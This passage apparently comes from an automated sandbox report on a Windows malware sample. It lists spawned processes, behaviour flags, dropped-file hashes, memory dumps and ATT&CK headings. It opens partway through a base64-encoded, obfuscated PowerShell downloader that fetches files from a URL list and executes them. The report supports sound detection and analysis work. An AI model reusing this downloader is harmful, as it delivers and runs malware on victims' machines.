wApAFsAMABdACkALgAiAHMAUABsAGAASQB0ACIAKAAkAFAAMgBwAHcAeABvADcAIAArACAAJABYAGwAbQBrADcAMwB3ACAAKwAgACQAUwAxAF8AOABfAGgANQApADsAJABFAHAAeQB3AHIANAA4AD0AKAAoACcASAAnACsAJwA2ADMAJwApACsAKAAnAGQAOQAnACsAJwBqACcAKQArACcANAAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFYAcgB6AG0AeQBuAHgAIABpAG4AIAAkAFoAXwBkAGoAbwB2ADMAKQB7AHQAcgB5AHsAJABRAG8AZABoAGEAMQBzAC4AIgBkAGAATwBgAHcAbgBsAGAAbwBBAGQARgBpAEwAZQAiACgAJABWAHIAegBtAHkAbgB4ACwAIAAkAE0AcQB4AHkAdwBxADIAKQA7ACQASAB5AG0AXwBlAHEAeQA9ACgAJwBVACcAKwAnAHoAJwArACgAJwBjAGYAJwArACcAXwBqAHgAJwApACkAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQALQBJACcAKwAnAHQAZQBtACcAKQAgACQATQBxAHgAeQB3AHEAMgApAC4AIgBMAEUAbgBHAGAAVABIACIAIAAtAGcAZQAgADQAOQAzADkANgApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AKAAoACcAdwBpAG4AMwAnACsAJwAyACcAKQArACgAJwBfAFAAcgAnACsAJwBvACcAKQArACcAYwAnACsAJwBlACcAKwAnAHMAcwAnACkAKQAuACIAQwBgAFIARQBBAHQAZQAiACgAJABNAHEAeAB5AHcAcQAyACkAOwAkAEoAcwB5AGIAZAA5ADMAPQAoACcAQwAnACsAKAAnAGwAMwB3ADQAYwAnACsAJwByACcAKQApADsAYgByAGUAYQBrADsAJABUAHgAbQA3ADYAcQAyAD0AKAAoACcAUgAnACsAJwA1ADQAMgAnACkAKwAoACcAMgBtACcAKwAnAGIAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFUAcgB2ADIAZgBnAGcAPQAoACcATwAnACsAJwBmACcAKwAoACcAYgBlACcAKwAnADcAbgBhACcAKQApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1600

C:\Users\Admin\Tr1uc6c\Ge5row1\Avfs1cem.exe
C:\Users\Admin\Tr1uc6c\Ge5row1\Avfs1cem.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:756

C:\Windows\SysWOW64\rshx32\mmcbase.exe
"C:\Windows\SysWOW64\rshx32\mmcbase.exe"
2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1116

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\Tr1uc6c\Ge5row1\Avfs1cem.exe
MD5
aaf98889d5b90ab8d5c484cc674b34c9

SHA1
fa552ebbe727ae1d8ff08726eb17527ccd034d66

SHA256
8864b3f15b72835fcca2e9c5464443385c8b057b9a8f5fa5961975a70aae523c

SHA512
c4b13aed32d799d5db16ff5fd36fe93df2cce6d40fb1886bb63599a7dbe94642cb21f0c75901b50f4430210e863cfa05bb3044a78c56efb3669e1ace68092bc2

Download Submit
C:\Users\Admin\Tr1uc6c\Ge5row1\Avfs1cem.exe
MD5
aaf98889d5b90ab8d5c484cc674b34c9

SHA1
fa552ebbe727ae1d8ff08726eb17527ccd034d66

SHA256
8864b3f15b72835fcca2e9c5464443385c8b057b9a8f5fa5961975a70aae523c

SHA512
c4b13aed32d799d5db16ff5fd36fe93df2cce6d40fb1886bb63599a7dbe94642cb21f0c75901b50f4430210e863cfa05bb3044a78c56efb3669e1ace68092bc2

Download Submit
C:\Windows\SysWOW64\rshx32\mmcbase.exe
MD5
aaf98889d5b90ab8d5c484cc674b34c9

SHA1
fa552ebbe727ae1d8ff08726eb17527ccd034d66

SHA256
8864b3f15b72835fcca2e9c5464443385c8b057b9a8f5fa5961975a70aae523c

SHA512
c4b13aed32d799d5db16ff5fd36fe93df2cce6d40fb1886bb63599a7dbe94642cb21f0c75901b50f4430210e863cfa05bb3044a78c56efb3669e1ace68092bc2

Download Submit
memory/456-18-0x000007FEF7020000-0x000007FEF729A000-memory.dmp

Filesize
2.5MB

Download
memory/756-12-0x0000000000390000-0x00000000003AE000-memory.dmp

Filesize
120KB

Download
memory/756-11-0x0000000000370000-0x0000000000390000-memory.dmp

Filesize
128KB

Download
memory/1036-2-0x000000000046C000-0x000000000046E000-memory.dmp

Filesize
8KB

Download
memory/1036-1-0x0000000006200000-0x0000000006204000-memory.dmp

Filesize
16KB

Download
memory/1036-0-0x000000000046B000-0x000000000046C000-memory.dmp

Filesize
4KB

Download
memory/1116-16-0x0000000000250000-0x0000000000270000-memory.dmp

Filesize
128KB

Download
memory/1116-17-0x0000000000270000-0x000000000028E000-memory.dmp

Filesize
120KB

Download
memory/1116-14-0x0000000000000000-mapping.dmp

Download
memory/1600-4-0x0000000002400000-0x0000000002401000-memory.dmp

Filesize
4KB

Download
memory/1600-9-0x000000001C590000-0x000000001C591000-memory.dmp

Filesize
4KB

Download
memory/1600-8-0x000000001C0C0000-0x000000001C0C1000-memory.dmp

Filesize
4KB

Download
memory/1600-7-0x00000000024C0000-0x00000000024C1000-memory.dmp

Filesize
4KB

Download
memory/1600-6-0x000000001A8E0000-0x000000001A8E1000-memory.dmp

Filesize
4KB

Download
memory/1600-5-0x000000001AD20000-0x000000001AD21000-memory.dmp

Filesize
4KB

Download
memory/1600-3-0x000007FEF60F0000-0x000007FEF6ADC000-memory.dmp

Filesize
9.9MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads